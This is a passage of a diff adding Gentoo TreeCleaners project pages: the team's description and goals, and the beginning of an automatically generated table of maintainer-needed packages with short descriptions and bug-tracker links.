+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<!-- <project link="/proj/en/qa/treecleaners/index.xml"> -->
+
+<project>
+<name>TreeCleaners</name>
+<longname>Gentoo Tree Cleaning Team</longname>
+
+<date>2010-06-30</date>
+
+<author title="Author">
+  <mail link="antarus@gentoo.org">Alec Warner</mail>
+</author>
+<author title="Author">
+  <mail link="masterdriverz@gentoo.org">Charlie Shepherd</mail>
+</author>
+<author title="Editor">
+  <mail link="hwoarang@gentoo.org">Markos Chandras</mail>
+</author>
+
+<description>
+The Tree Cleaning Team is primarily concerned with removing unmaintained and
+broken packages from the tree.  We aim to make less work for everyone by
+reducing the number of broken and unmaintained packages in the tree.  We also
+aim to increase the user experience by removing broken packages from the tree;
+therefore users have less hair-raising experiences with packages in-tree that
+just don't work.
+</description>
+
+<longdescription>
+
+<p>
+Gentoo currently has a number of packages that lack maintainers and are broken
+in one or more ways.  Due to the large number of packages that exhibit this
+behavior in the gentoo package database the tree cleaner subproject was created.
+The overall goal of this subproject is to reduce the number of unmaintained and
+broken packages in the tree.  This is accomplished by either finding a
+maintainer for the package, fixing the package, or removing the package from the
+package database.
+</p>
+
+</longdescription>
+
+<goals>
+
+<p>
+To find and remove broken and unmaintained packages from the tree.
+</p>
+
+</goals>
+
+<dev role="Lead">darkside</dev>
+<dev role="Member">vostorga</dev>
+<dev role="Member">hwoarang</dev>
+
+<extrachapter>
+<title>Contact</title>
+<section>
+<body>
+
+<p>
+The TreeCleaner project is available at <mail>treecleaner@gentoo.org</mail>
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Orphaned packages</title>
+<section>
+<body>
+
+<p>
+Removing a package isn't the only solution offered by the tree cleaner project.
+The Treecleaner Project maintains <uri link="/proj/en/qa/treecleaners/maintainer-needed.xml">a list of orphaned ( aka maintainer-needed ) packages</uri>. 
+Feel free to grab and maintain one if you want to. 
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>Package Removals</title>
+<section>
+<title>CVS Attic</title>
+<body>
+
+<p>
+All ebuilds, including deleted ones, are available from the web interface to
+Gentoo's CVS repository, which you can find at <uri
+link="http://sources.gentoo.org/viewcvs.py/gentoo-x86/">http://sources.gentoo.org/viewcvs.py/gentoo-x86/.</uri>
+Ebuilds and directories that have been removed will appear in the Attic, and can
+be accessed by clicking the (Show &lt;n&gt; dead files) link at the top of the
+folder view. You can then download any ebuilds you may need from ViewCVS and
+place them in a local overlay, where they can be installed as normal. Any
+distribution files will remain on Gentoo's mirrors for at least two weeks after
+the ebuild is removed from the tree, and even after removal from our mirrors
+they will in most cases continue to be available from the original source.
+</p>
+
+</body>
+</section>
+<section>
+<title>But I love that package!</title>
+<body>
+
+<p>
+I'm glad you like that package, however without a maintainer it sits stale in
+the tree.  Maintaining a package involves a time commitment, even if your ebuild
+you submitted to bugzilla works, or your patch works, it takes time fixing other
+bugs, testing the package, checking for updates, and so on.  Sometimes there is
+no one to take this resposibility on.  If you are confident there are enough
+users for the package, feel free to take it to Gentoo Sunrise once the ebuild
+has been removed from the tree (not before mind, their policy states you can't
+have something in sunrise and the tree, so be patient).  For more information on
+Sunrise please see <uri link="/proj/en/sunrise/">Project Sunrise's page</uri> and #gentoo-sunrise on
+chat.freenode.net.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter>
+<title>TreeCleaner Docs</title>
+<section>
+<body>
+
+<p>
+The TreeCleaner Project currently have two docs:
+</p>
+
+<ul>
+  <li>
+    <uri link="faq.xml">Frequently Asked Questions about the Gentoo TreeCleaner
+    project</uri>
+  </li>
+  <li><uri link="policy.xml">Gentoo TreeCleaner Policy</uri></li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/qa/treecleaners/maintainer-needed.xml b/xml/htdocs/proj/en/qa/treecleaners/maintainer-needed.xml
new file mode 100644
index 00000000..749c0955
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/treecleaners/maintainer-needed.xml
@@ -0,0 +1,2216 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/qa/treecleaners/maintainer-needed.xml,v 1.30 2010/08/29 19:21:01 hwoarang Exp $ -->
+
+
+
+<!-- This page is automatically generated. Do NOT edit it manually -->
+
+
+<guide link="/doc/en/guide.xml" lang="en">
+<title>Treecleaners Project: Maintainer-Needed packages</title>
+
+<author title="Author">
+  <mail link="hwoarang@gentoo.org">Markos Chandras</mail>
+  </author>
+
+  <abstract>
+  Automatically generated list for maintainer-needed packages
+  </abstract>
+
+  <!-- The content of this document is licensed under the CC-BY-SA license -->
+  <!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+  <license/>
+
+  <version>1.2</version>
+  <date>2010-08-29</date>
+  <chapter>
+  <title>Maintainer-Needed packages</title>
+  <section>
+  <title>Which packages are marked as maintainer-needed</title>
+  <body>
+  <p>
+Packages which do not have an active maintainer to take care of them are marked as <b>maintainer-needed</b>. This means that they will gonna rot or be removed from portage tree unless someone steps up and take care of them. You are free to do it your self if you feel like it. More information about <b>maintainer-needed</b> packages you may find on <uri link='http://www.gentoo.org/proj/en/qa/treecleaners/'>treecleaners project page</uri>.
+Gentoo developers and users are encouraged to pick up maintenance for maintainer-needed packages. Users can become maintainers for packages via the <uri link="http://overlays.gentoo.org/proj/sunrise/wiki/ProxyMaintainer">proxy-maintainer process</uri>. If you would like to see which of your installed packages are orphaned, you could use <uri link="http://gist.github.com/541167">this</uri> python script developed by Ewoud Kohl Van Wijngaarden.
+
+  </p>
+  </body>
+  </section>
+<section>
+<title>Package List</title>
+<body>
+<p>The following 722 packages are marked as maintainer-needed
+</p>
+<table>
+<tr><th>Package Name</th><th>Description</th><th>Bugs</th></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/analog">app-admin/analog</uri></ti>
+<ti>A webserver log analyzer</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23analog">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/bcfg2">app-admin/bcfg2</uri></ti>
+<ti>Bcfg2 is a configuration management tool.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bcfg2">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/chroot_safe">app-admin/chroot_safe</uri></ti>
+<ti>chroot_safe is a tool to chroot any dynamically linked application in a safe and sane manner.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23chroot_safe">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/conary">app-admin/conary</uri></ti>
+<ti>repository-based system management and package-building tool</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23conary">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/conary-policy">app-admin/conary-policy</uri></ti>
+<ti>distribution policy for the conary package manager</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23conary-policy">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/conserver">app-admin/conserver</uri></ti>
+<ti>Serial Console Manager</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23conserver">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/cpulimit">app-admin/cpulimit</uri></ti>
+<ti>Limits the CPU usage of a process</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cpulimit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/filewatcher">app-admin/filewatcher</uri></ti>
+<ti>This is a configuration file control system and IDS</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23filewatcher">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/flexlm">app-admin/flexlm</uri></ti>
+<ti>Macrovision FLEXlm license manager and utils</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23flexlm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/genromfs">app-admin/genromfs</uri></ti>
+<ti>Create space-efficient, small, read-only romfs filesystems</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23genromfs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/gentoo-rsync-mirror">app-admin/gentoo-rsync-mirror</uri></ti>
+<ti>Ebuild for setting up a Gentoo rsync mirror</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gentoo-rsync-mirror">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/ide-smart">app-admin/ide-smart</uri></ti>
+<ti>A tool to read SMART information from harddiscs</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ide-smart">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/jinit">app-admin/jinit</uri></ti>
+<ti>An alternative to sysvinit which supports the need(8) concept</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23jinit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/killproc">app-admin/killproc</uri></ti>
+<ti>killproc and assorted tools for boot scripts</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23killproc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/logsentry">app-admin/logsentry</uri></ti>
+<ti>automatically monitor system logs and mail security violations on a periodic basis</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23logsentry">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/lsat">app-admin/lsat</uri></ti>
+<ti>The Linux Security Auditing Tool</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lsat">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/lsyncd">app-admin/lsyncd</uri></ti>
+<ti>Live Syncing (Mirror) Daemon</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lsyncd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/mon">app-admin/mon</uri></ti>
+<ti>highly configurable service monitoring daemon</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mon">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/newsyslog">app-admin/newsyslog</uri></ti>
+<ti>An enhanced version of newsyslog originally written by Theodore Ts'o</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23newsyslog">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/osiris">app-admin/osiris</uri></ti>
+<ti>File integrity verification system</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23osiris">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/passook">app-admin/passook</uri></ti>
+<ti>Password generator capable of generating pronounceable and/or secure passwords.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23passook">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/petrovich">app-admin/petrovich</uri></ti>
+<ti>Filesystem Integrity Checker</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23petrovich">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/procinfo">app-admin/procinfo</uri></ti>
+<ti>A utility to prettyprint /proc/*</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23procinfo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/profiler">app-admin/profiler</uri></ti>
+<ti>Provides 3D visual representation of file system statistics</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23profiler">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/psmon">app-admin/psmon</uri></ti>
+<ti>Monitors process table to slay aggressive, and spawn dead, processes</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23psmon">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/quickswitch">app-admin/quickswitch</uri></ti>
+<ti>Utility to switch network profiles on the fly</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23quickswitch">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/rackview">app-admin/rackview</uri></ti>
+<ti>Generate HTML page displaying computer rack layout</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rackview">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/reportmagic">app-admin/reportmagic</uri></ti>
+<ti>Makes usable statistics from your web site log file analysis</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23reportmagic">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/rmake">app-admin/rmake</uri></ti>
+<ti>repository-based build system</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rmake">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/stow">app-admin/stow</uri></ti>
+<ti>manage installation of software in /usr/local</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stow">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/swatch">app-admin/swatch</uri></ti>
+<ti>Perl-based system log watcher</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23swatch">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/sxid">app-admin/sxid</uri></ti>
+<ti>suid, sgid file and directory checking</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23sxid">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/tenshi">app-admin/tenshi</uri></ti>
+<ti>Log parsing and notification program</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tenshi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/tripwire">app-admin/tripwire</uri></ti>
+<ti>Open Source File Integrity Checker and IDS</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tripwire">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/ulog-acctd">app-admin/ulog-acctd</uri></ti>
+<ti>ULOG-based accounting daemon with flexible log-format</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ulog-acctd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/verynice">app-admin/verynice</uri></ti>
+<ti>A tool for dynamically adjusting the nice-level of processes</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23verynice">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/watchfolder">app-admin/watchfolder</uri></ti>
+<ti>Watches directories and processes files, similar to the watchfolder option of Acrobat Distiller.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23watchfolder">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/webmin">app-admin/webmin</uri></ti>
+<ti>Webmin, a web-based system administration interface</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23webmin">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/xstow">app-admin/xstow</uri></ti>
+<ti>replacement for GNU stow with extensions</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xstow">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/xtail">app-admin/xtail</uri></ti>
+<ti>Tail multiple logfiles at once, even if rotated</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xtail">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-admin/yaala">app-admin/yaala</uri></ti>
+<ti>Yet Another Log Analyzer</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23yaala">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/advancecomp">app-arch/advancecomp</uri></ti>
+<ti>Recompress ZIP, PNG and MNG using deflate 7-Zip, considerably improving compression</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23advancecomp">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/arc">app-arch/arc</uri></ti>
+<ti>Create'&amp;'extract files from DOS .ARC files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23arc">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/arj">app-arch/arj</uri></ti>
+<ti>Utility for opening arj archives</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23arj">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/bsdsfv">app-arch/bsdsfv</uri></ti>
+<ti>all-in-one SFV checksum utility</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bsdsfv">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/createrepo">app-arch/createrepo</uri></ti>
+<ti>Creates a common metadata repository</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23createrepo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/deltarpm">app-arch/deltarpm</uri></ti>
+<ti>tools to create and apply deltarpms</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23deltarpm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/freeze">app-arch/freeze</uri></ti>
+<ti>Freeze/unfreeze compression program</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23freeze">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/guitar">app-arch/guitar</uri></ti>
+<ti>Extraction tool, supports tar, tar.Z, tar.gz, tar.bz2, lha, lzh, rar, arj, zip, and slp formats</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23guitar">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/ipkg-utils">app-arch/ipkg-utils</uri></ti>
+<ti>Tools for working with the ipkg binary package format</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ipkg-utils">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/lha">app-arch/lha</uri></ti>
+<ti>Utility for creating and opening lzh archives</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23lha">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/libpar2">app-arch/libpar2</uri></ti>
+<ti>A library for par2, extracted from par2cmdline</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23libpar2">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/macutil">app-arch/macutil</uri></ti>
+<ti>A collection of programs to handle Macintosh files/archives on non-Macintosh systems</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23macutil">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/makeself">app-arch/makeself</uri></ti>
+<ti>shell script that generates a self-extractible tar.gz</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23makeself">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/mscompress">app-arch/mscompress</uri></ti>
+<ti>Microsoft compress.exe/expand.exe compatible (de)compressor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23mscompress">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/ppmd">app-arch/ppmd</uri></ti>
+<ti>PPM based compressor -- better behaved than bzip2</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ppmd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/pure-sfv">app-arch/pure-sfv</uri></ti>
+<ti>utility to test and create .sfv files and create .par files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23pure-sfv">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/rar">app-arch/rar</uri></ti>
+<ti>RAR compressor/uncompressor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rar">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/rzip">app-arch/rzip</uri></ti>
+<ti>Compression program for large files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rzip">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/stuffit">app-arch/stuffit</uri></ti>
+<ti>Aladdin Software's StuffIt and StuffIt Expander</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stuffit">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/unarj">app-arch/unarj</uri></ti>
+<ti>Utility for opening arj archives</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23unarj">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/undms">app-arch/undms</uri></ti>
+<ti>Decompress Amiga DMS disk images to ADF</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23undms">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/unlzx">app-arch/unlzx</uri></ti>
+<ti>Unarchiver for Amiga LZX archives</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23unlzx">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/upm">app-arch/upm</uri></ti>
+<ti>The micro Package Manager</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23upm">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/upx-ucl">app-arch/upx-ucl</uri></ti>
+<ti>upx is the Ultimate Packer for eXecutables.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23upx-ucl">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/xdms">app-arch/xdms</uri></ti>
+<ti>xDMS - Amiga DMS disk image decompressor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23xdms">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-arch/zoo">app-arch/zoo</uri></ti>
+<ti>Manipulate archives of files in compressed form.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23zoo">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-backup/furball">app-backup/furball</uri></ti>
+<ti>A handy backup script utilizing tar</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23furball">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-backup/hdup">app-backup/hdup</uri></ti>
+<ti>Hdup is backup program using tar, find, gzip/bzip2, mcrypt and ssh.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23hdup">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-backup/reoback">app-backup/reoback</uri></ti>
+<ti>Reoback Backup Solution</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23reoback">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-backup/tob">app-backup/tob</uri></ti>
+<ti>A general driver for making and maintaining backups.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23tob">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-benchmarks/bootchart">app-benchmarks/bootchart</uri></ti>
+<ti>Performance analysis and visualization of the system boot process</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bootchart">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-benchmarks/contest">app-benchmarks/contest</uri></ti>
+<ti>Test system responsiveness to compare different kernels</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23contest">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/aesutil">app-crypt/aesutil</uri></ti>
+<ti>Command line program ('aes') to encrypt and decrypt data using the Rijndael algorithm</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23aesutil">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/bcrypt">app-crypt/bcrypt</uri></ti>
+<ti>A file encryption utility using Paul Kocher's implementation of the blowfish algorithm</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23bcrypt">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/cfs">app-crypt/cfs</uri></ti>
+<ti>Cryptographic Filesystem</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cfs">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/chntpw">app-crypt/chntpw</uri></ti>
+<ti>Offline Windows NT Password'&amp;'Registry Editor</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23chntpw">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/cryptoapi">app-crypt/cryptoapi</uri></ti>
+<ti>Modules that add encryption ability at the kernel level.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23cryptoapi">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/gifshuffle">app-crypt/gifshuffle</uri></ti>
+<ti>GIF colourmap steganography</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23gifshuffle">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/keylookup">app-crypt/keylookup</uri></ti>
+<ti>A tool to fetch PGP keys from keyservers</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23keylookup">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/keynote">app-crypt/keynote</uri></ti>
+<ti>The KeyNote Trust-Management System</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23keynote">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/rotix">app-crypt/rotix</uri></ti>
+<ti>Rotix allows you to generate rotational obfuscations.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23rotix">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/ssh-multiadd">app-crypt/ssh-multiadd</uri></ti>
+<ti>adds multiple ssh keys to the ssh authentication agent</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23ssh-multiadd">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/stan">app-crypt/stan</uri></ti>
+<ti>Stan is a console application that analyzes binary streams and calculates statistical information.</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23stan">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-crypt/steghide">app-crypt/steghide</uri></ti>
+<ti>A steganography program which hides data in various media files</ti>
+<ti><uri link="https://bugs.gentoo.org/buglist.cgi?quicksearch=%23steghide">Open Bugs</uri></ti></tr>
+<tr><ti><uri link="http://packages.gentoo.org/package/app-dicts/eblook">app-dicts/eblook</uri></ti>
+<ti>EBlook is an interactive search utility for electronic dictionaries</ti>
